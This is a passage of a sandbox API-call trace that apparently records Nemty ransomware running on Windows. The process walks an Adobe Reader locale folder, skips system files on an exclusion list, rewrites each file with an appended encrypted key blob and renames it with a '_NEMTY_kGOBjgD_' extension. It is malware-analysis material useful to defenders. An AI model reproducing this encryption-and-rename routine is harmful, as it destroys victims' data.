(lpString1="Multimedia.CZE", lpString2="RECYCLER") returned -1 [0174.259] lstrcmpiW (lpString1="Multimedia.CZE", lpString2="BOOTSECT.BAK") returned 1 [0174.259] lstrcmpiW (lpString1="Multimedia.CZE", lpString2="bootmgr") returned 1 [0174.259] lstrcmpiW (lpString1="Multimedia.CZE", lpString2="programdata") returned -1 [0174.260] lstrcmpiW (lpString1="Multimedia.CZE", lpString2="appdata") returned 1 [0174.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CZE", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0174.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CZE", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.CZE", lpUsedDefaultChar=0x0) returned 14 [0174.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CZE", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0174.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CZE", cchWideChar=14, lpMultiByteStr=0x653e890, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.CZE", lpUsedDefaultChar=0x0) returned 14 [0174.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CZE", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0174.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CZE", cchWideChar=14, lpMultiByteStr=0x653e8e0, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.CZE", lpUsedDefaultChar=0x0) returned 14 [0174.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CZE", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0174.260] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Multimedia.CZE", cchWideChar=14, lpMultiByteStr=0x653e918, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Multimedia.CZE", lpUsedDefaultChar=0x0) returned 14 [0174.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0174.260] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.260] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0174.260] Sleep (dwMilliseconds=0x5) [0174.265] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b8464d0, dwHighDateTime=0x1d561e8)) [0174.265] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b8464d0, dwHighDateTime=0x1d561e8)) [0174.265] GetLastError () returned 0x0 [0174.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.265] GetLastError () returned 0x0 [0174.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.265] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.265] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.265] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.266] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.266] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0174.266] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="wCZc3DJVZt5JbGocG9qpLFe6BprHrm17ZnnG9NcxQn/TaGph07H/KB0tVTXaD3ME\r\nf8yVBl+g294hR1uvdHu/+gt+ZwlFQA7CCkvSr02SwdhXjn7jqPjBSEWk3F1Z9yVX\r\nNv6sa5aLhxffNAQhWDLxY2cD9rtD+KmNjq/Qizwm6owoJRZ4wrJ7i26CksMSRoRI\r\n0ZX/LgMgzzosFHD1dYl4T/Yp55+nAoQZ47BwlX52Eaum8OEItMQSF3Rhm1usTiws\r\nRspkbacmKPOwH+1GpoXmW+YcDxmgrL5Hr1H6ACocvYBHy+hlVt+NPwYIXUFai+wg\r\n6kAuxHJbgJMctiTbLN5aoQ==\r\n", pcchString=0x653e5dc) returned 1 [0174.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.266] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0174.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.266] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Multimedia.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\multimedia.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.266] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=78336) returned 1 [0174.266] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x13200) returned 0x6352c48 [0174.266] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.266] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x13200, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x13200, lpOverlapped=0x0) returned 1 [0174.273] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.273] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x13200, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x13200, lpOverlapped=0x0) returned 1 [0174.273] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.273] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=78336, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x13200 [0174.273] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.274] CloseHandle (hObject=0x2e8) returned 1 [0174.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0174.274] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.274] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0174.274] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0174.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0174.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.274] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Multimedia.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\multimedia.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Multimedia.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\multimedia.cze._nemty_kgobjgd_")) returned 1 [0174.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0174.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0174.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0174.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.274] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0174.275] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7db27940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="pddom.CZE", cAlternateFileName="")) returned 1 [0174.275] lstrcmpiW (lpString1="pddom.CZE", lpString2=".") returned 1 [0174.275] lstrcmpiW (lpString1="pddom.CZE", lpString2="..") returned 1 [0174.275] lstrcmpiW (lpString1="pddom.CZE", lpString2="...") returned 1 [0174.275] lstrcmpiW (lpString1="pddom.CZE", lpString2="windows") returned -1 [0174.275] lstrcmpiW (lpString1="pddom.CZE", lpString2="$RECYCLE.BIN") returned 1 [0174.275] lstrcmpiW (lpString1="pddom.CZE", lpString2="rsa") returned -1 [0174.275] lstrcmpiW (lpString1="pddom.CZE", lpString2="NTDETECT.COM") returned 1 [0174.275] lstrcmpiW (lpString1="pddom.CZE", lpString2="ntldr") returned 1 [0174.275] lstrcmpiW (lpString1="pddom.CZE", lpString2="MSDOS.SYS") returned 1 [0174.275] lstrcmpiW (lpString1="pddom.CZE", lpString2="IO.SYS") returned 1 [0174.275] lstrcmpiW (lpString1="pddom.CZE", lpString2="boot.ini") returned 1 [0174.275] lstrcmpiW (lpString1="pddom.CZE", lpString2="boot.ini") returned 1 [0174.275] lstrcmpiW (lpString1="pddom.CZE", lpString2="AUTOEXEC.BAT") returned 1 [0174.275] lstrcmpiW (lpString1="pddom.CZE", lpString2="ntuser.dat") returned 1 [0174.275] lstrcmpiW (lpString1="pddom.CZE", lpString2="desktop.ini") returned 1 [0174.275] lstrcmpiW (lpString1="pddom.CZE", lpString2="CONFIG.SYS") returned 1 [0174.275] lstrcmpiW (lpString1="pddom.CZE", lpString2="RECYCLER") returned -1 [0174.275] lstrcmpiW (lpString1="pddom.CZE", lpString2="BOOTSECT.BAK") returned 1 [0174.275] lstrcmpiW (lpString1="pddom.CZE", lpString2="bootmgr") returned 1 [0174.275] lstrcmpiW (lpString1="pddom.CZE", lpString2="programdata") returned -1 [0174.275] lstrcmpiW (lpString1="pddom.CZE", lpString2="appdata") returned 1 [0174.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CZE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0174.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CZE", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.CZE", lpUsedDefaultChar=0x0) returned 9 [0174.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CZE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0174.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CZE", cchWideChar=9, lpMultiByteStr=0x653e890, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.CZE", lpUsedDefaultChar=0x0) returned 9 [0174.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.275] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.275] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.275] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CZE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0174.276] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CZE", cchWideChar=9, lpMultiByteStr=0x653e8e0, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.CZE", lpUsedDefaultChar=0x0) returned 9 [0174.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.276] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CZE", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0174.276] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="pddom.CZE", cchWideChar=9, lpMultiByteStr=0x653e918, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pddom.CZE", lpUsedDefaultChar=0x0) returned 9 [0174.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0174.276] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.276] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0174.276] Sleep (dwMilliseconds=0x5) [0174.281] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b86c630, dwHighDateTime=0x1d561e8)) [0174.281] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b86c630, dwHighDateTime=0x1d561e8)) [0174.281] GetLastError () returned 0x0 [0174.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0174.281] GetLastError () returned 0x0 [0174.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0174.281] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0174.281] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.281] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0174.281] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0174.282] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0174.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340048 [0174.282] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x6340048, pcchString=0x653e5dc | out: pszString="3j9dURw0XgQkDyjOhN4B7yaOlRyXujEvARe66grh6LJeRf64P0MxhqQYQngBnfdN\r\nQlgpnmGdvouBURaIsr1aWrBi34aP6xuVfQswC1dS0ZB1pXKfEuzGO/ibYXbkKeGR\r\nX/tPrR+JGIz9smBu3KBS2QjAEDHb1h2rkEQxgwgK3xoE03xqrv5tjT1ZV44UvXUr\r\nrSGkPQtcvxUKmFJQQUUUu8+xt7rixKvWDyVdPX0AfVX/1pG3kjLo4xf0TGFli2O4\r\nTQuM1R8qBs7cSgYl6PNp+pb9MUMxF8NtzYZiyWiH4EMObyLAph0ho9SploxCiej9\r\nWwL61fD+hnFCPkRtHH27Hg==\r\n", pcchString=0x653e5dc) returned 1 [0174.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0174.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.282] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0174.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340048 [0174.282] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0174.282] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\pddom.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\pddom.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0174.283] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=10752) returned 1 [0174.283] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x2a00) returned 0x6352c48 [0174.283] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.283] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x2a00, lpOverlapped=0x0) returned 1 [0174.285] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0174.285] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x2a00, lpOverlapped=0x0) returned 1 [0174.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0174.285] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=10752, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2a00 [0174.285] WriteFile (in: hFile=0x2e8, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0174.285] CloseHandle (hObject=0x2e8) returned 1 [0174.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0174.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0174.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0174.285] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0174.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0174.285] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0174.285] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346fc0 [0174.286] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0174.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346fc0 | out: hHeap=0x4f90000) returned 1 [0174.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0174.286] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\pddom.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\pddom.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\pddom.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\pddom.cze._nemty_kgobjgd_")) returned 1 [0174.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0174.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0174.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0174.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0174.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0174.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0174.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0174.286] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0174.286] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7d000, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="PPKLite.CZE", cAlternateFileName="")) returned 1 [0174.286] lstrcmpiW (lpString1="PPKLite.CZE", lpString2=".") returned 1 [0174.286] lstrcmpiW (lpString1="PPKLite.CZE", lpString2="..") returned 1 [0174.286] lstrcmpiW (lpString1="PPKLite.CZE", lpString2="...") returned 1 [0174.286] lstrcmpiW (lpString1="PPKLite.CZE", lpString2="windows") returned -1 [0174.286] lstrcmpiW (lpString1="PPKLite.CZE", lpString2="$RECYCLE.BIN") returned 1 